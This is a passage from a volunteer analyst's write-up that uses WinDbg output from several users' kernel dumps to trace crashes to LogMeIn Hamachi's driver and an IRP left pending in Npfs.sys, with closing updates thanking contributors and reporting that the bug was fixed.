Chicony Electronics Co., Ltd. Great, so we have a vendor! Now, what about the product? Unfortunately, there doesn't seem to be anything in a database for PID B374. With this said, I went to Google and hoped for the best. With very little searches available, the best guess would be to assume that this is a Chicony webcam and/or camera based device. I will have to ask David. Moving on... 1: kd> dt nt!_IO_STATUS_BLOCK ffffe00007e7e2a0 +0x000 Status : 0n18350086 +0x000 Pointer : 0x00000001`01180006 Void +0x008 Information : 0xffffe000`00b69b10 Now that we have this, let's check the STATUS field layout: 1: kd> ? 0n18350086 Evaluate expression: 18350086 = 00000000`01180006 Let's go forward more: 1: kd> .formats 0n18350086 Evaluate expression: Hex: 00000000`01180006 Decimal: 18350086 Octal: 0000000000000106000006 Binary: 00000000 00000000 00000000 00000000 00000001 00011000 00000000 00000110 Chars: ........ Time: Sat Aug 01 05:14:46 1970 Float: low 2.7918e-038 high 0 Double: 9.06615e-317 Assuming I am correct, '00000000`01180006' falls under: NT_SUCCESS(Status) Evaluates to TRUE if the return value specified by Status is a success type (0 ? 0x3FFFFFFF) or an informational type (0x40000000 ? 0x7FFFFFFF). This is different than our first kernel as the first kernel returned NT_ERROR as opposed to NT_SUCCESS). Moving forward, let's take a closer look at the IRP: 1: kd> !irp ffffe00007e7e2a0 1 Irp is active with 1 stacks 3 is current (= 0xffffe00000d39070) Mdl=ffffe00000b69b10: No System Buffer: Thread fffff802ef8af540: Irp is completed. Pending has been returned Flags = 00060900 ThreadListEntry.Flink = ffffe000016fb590 ThreadListEntry.Blink = ffffe000076866d8 IoStatus.Status = 00000000 IoStatus.Information = 00000054 RequestorMode = 00000001 Cancel = 00 CancelIrql = 0 ApcEnvironment = 00 UserIosb = 01471f40 UserEvent = ffffe00001136790 Overlay.AsynchronousParameters.UserApcRoutine = 00000000 Overlay.AsynchronousParameters.UserApcContext = 01471f40 Overlay.AllocationSize = 00000000 - 00000000 CancelRoutine = fffff800045c188c Hamdrv UserBuffer = 00000000 &Tail.Overlay.DeviceQueueEntry = ffffe00007e7e318 Tail.Overlay.Thread = fffff802ef8af540 Tail.Overlay.AuxiliaryBuffer = fffff802efdd78dc Tail.Overlay.ListEntry.Flink = 00000000 Tail.Overlay.ListEntry.Blink = 00000000 Tail.Overlay.CurrentStackLocation = ffffe00000d39070 Tail.Overlay.OriginalFileObject = 00000000 Tail.Apc = 00580012 Tail.CompletionKey = 00580012 cmd flg cl Device File Completion-Context [ 3, 0] 0 0 ffffe000029bf900 00000000 00000000-00000000 \Driver\hamachi Args: 00000000 00000000 00000000 00000000 Great, we're consistent here. The IRP is completed and the pending has returned. We also appear to have the same # (3) which appears to be the Major Function Code for IRP_MJ_READ and the same for the Minor Function Code, which is IRP_MN_NORMAL. Let's go ahead and take 'ffffe000029bf900' and look into it: 1: kd> !devstack ffffe000029bf900 !DevObj !DrvObj !DevExt ObjectName > ffffe000029bf900 \Driver\hamachi ffffe000029bfa50 HamachiTap.FBA77CC0-00D0-459A-AEA1-63052984BC34 Very nice, more Hamachi. Let's now go ahead and take 'ffffe00000d39070' (CurrentStackLocation) and look into it: 1: kd> dt nt!_IO_STACK_LOCATION 0xffffe00000d39070 +0x000 MajorFunction : 0x5 '' +0x001 MinorFunction : 0 '' +0x002 Flags : 0xd8 '' +0x003 Control : 0 '' +0x008 Parameters : <unnamed-tag> +0x028 DeviceObject : (null) +0x030 FileObject : (null) +0x038 CompletionRoutine : (null) +0x040 Context : (null) Yes, more consistency! Remember, the data structure shows the current stack location of the IRP. Since IRPs can be handled by different Driver Objects through Driver Stacks, and therefore may be a indication of the different driver handling a different IRP. Moving on... 1: kd> !drvobj ffffe00005c66230 f Driver object (ffffe00005c66230) is for: \Driver\hamachi Driver Extension List: (id , addr) (4e4d4944 ffffe000010b5810) Device Object list: ffffe000029bf900 ffffe000075cf050 Let's take 'ffffe000075cf050' (part of the Device Object list) and look into it: 1: kd> !devobj ffffe000075cf050 Device object (ffffe000075cf050) is for: NDMP18 \Driver\hamachi DriverObject ffffe00005c66230 Current Irp 00000000 RefCount 0 Type 00000017 Flags 00002050 Dacl ffffc10100d9bf51 DevExt ffffe000075cf1a0 DevObjExt ffffe000075d0720 ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT Characteristics (0x00000100) FILE_DEVICE_SECURE_OPEN AttachedTo (Lower) ffffe00007098e50 \Driver\PnpManager Device queue is not busy. More consistency! Let's keep going... 1: kd> !devstack ffffe000075cf050 !DevObj !DrvObj !DevExt ObjectName > ffffe000075cf050 \Driver\hamachi ffffe000075cf1a0 NDMP18 ffffe00007098e50 \Driver\PnpManager 00000000 000000a4 !DevNode ffffe00000c15d30 : DeviceInst is "ROOT\NET\0000" ServiceName is "Hamachi" More and more consistency! Also, if you've been noticing, I have been highlighting NDMP(n) as we've been going through this. The reason for this is NDMP(n) = Network Data Management Protocol, which is a protocol invented by the NetApp and Legato companies, meant to transport data between network attached storage (NAS) devices and backup devices. This removes the need for transporting the data through the backup server itself, thus enhancing speed and removing load from the backup server. This is likely why we see so many network related routines in the call stack which was inevitably responsible for the IRP. Let's now go ahead and run a !thread on the thread in which the IRP completed: 1: kd> !thread fffff802ef8af540 fffff802ef8af540 is not a thread object, interpreting as stack value... TYPE mismatch for thread object at fffff802ef8af540 Oh no! We've reached a very unfortunate dead end in David's kernel-dump. After debugging for over an hour, I was not about to give up. I went ahead and opened up another kernel-dump (provided by Maximilian Kless), and quickly got to where we are. The thread extension worked this time! 2: kd> !thread ffffe00004edd880 THREAD ffffe00004edd880 Cid 08a0.0968 Teb: 00007ff63f615000 Win32Thread: fffff901400f86d0 RUNNING on processor 3 IRP List: ffffe00005a625b0: (0006,0118) Flags: 00060000 Mdl: 00000000 ffffe00005a2c1e0: (0006,0118) Flags: 00060000 Mdl: 00000000 ffffe00002904cc0: (0006,01f0) Flags: 00060900 Mdl: 00000000 ffffe000025cc270: (0006,01f0) Flags: 00060800 Mdl: 00000000 Not impersonating DeviceMap ffffc0000000c250 Owning Process ffffe00004bd0900 Image: hamachi-2.exe Attached Process N/A Image: N/A Wait Start TickCount 227813 Ticks: 0 Context Switch Count 8289 IdealProcessor: 0 UserTime 00:00:00.281 KernelTime 00:00:00.406 Win32 Start Address 0x00007ffe21c281b0 Stack Init ffffd00035a46c90 Current ffffd00035a45fe0 Base ffffd00035a47000 Limit ffffd00035a41000 Call 0 Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to Child : Call Site 00000000`01f8f7e0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007ff6`40361752 At this point, I am honestly jumping up and down in my chair. We see a huge consistency here, and we have one more step to go. Let's finally go ahead and run an !irp on the 3rd value in the IRP list: 2: kd> !irp ffffe00002904cc0 Irp is active with 2 stacks 2 is current (= 0xffffe00002904dd8) No Mdl: No System Buffer: Thread ffffe00004edd880: Irp stack trace. cmd flg cl Device File Completion-Context [ 0, 0] 0 0 00000000 00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000 >[ 3, 0] 0 1 ffffe00001f37060 ffffe00005de5f20 00000000-00000000 pending \FileSystem\Npfs Args: 00002000 00000000 00000000 00000000 And that's it, we have consistency! Npfs.sys marked as status PENDING in TWO kernel dumps on TWO ENTIRELY different systems. Also, even though David's kernel-dump didn't show us a !thread, it showed alarming consistency in regards to many other things seen in the dump itself. Now, with all of this found, I will bring it up to Harry and my fellow analysts, and see if we can explain what role Npfs.sys has in these crashes. More updates to come! I will of course also take a look at the other kernel-dumps I was provided. Busy busy day. Update #6 - This is not an analysis update, mostly because the analysis is finished. From this point on, it's of course up to LogMeIn to examine their driver code and see why things like Npfs.sys remain PENDING, etc. Aside from receiving any new kernel-dumps from any kind individuals to quickly check for consistency, Harry (x BlueRobot) and I have analyzed this to the point where we can do no more as we are only volunteer analysts with an interest in helping people. This update is instead directed more towards how much of a huge thank you I want to extend. First off, I simply couldn't have done a large amount of this without Harry's help. As much as I appreciate all of the recognition I am receiving for this, Harry deserves it just as much as I do. It would have taken me a very long time and it would have been very stressful. Harry provided tons of documentation and debugging related information, and both of us have learned a very large amount from this. So far I have worked on two bugs with him (HP-Envy-700-074 BIOS bug) and now this. So far, both have been extremely successful. I'd also like to thank ZigZag3143 for not only submitting tickets and remaining in contact with LogMeIn, and providing up to date threads across various communities displaying the sheer number of people having this problem, but for being a good friend as always and lending a hand. Next, I'd like to of course extend an extremely large thanks to everyone around the world who has sent me their kernel-dumps simply because they wanted to be a part of this and help contribute to solving the issue. I am going to be making a list of the people who contributed their kernel-dumps, by name. As I am still receiving (or waiting to receive) kernel-dumps from various people who've contacted me, it will likely be an ongoing list. Essentially, what I am trying to convey here is that this was not just me, it was a huge team effort. I had tons of help from Harry, and extremely kind people from all around the world. I truly appreciate situations like this more than anything in life, because they are very important. As an analyst with a huge passion in debugging, this was not only a beautiful learning experience, but I got to work with a lot of extremely great people. It truly goes to show that when people work together, you can essentially solve any problem. Update #7 - It appears as I stated at the very top that this bug has been SOLVED! Again, a huge thank you to everyone involved, and to LogMeIn for fixing it promptly for its customers. Source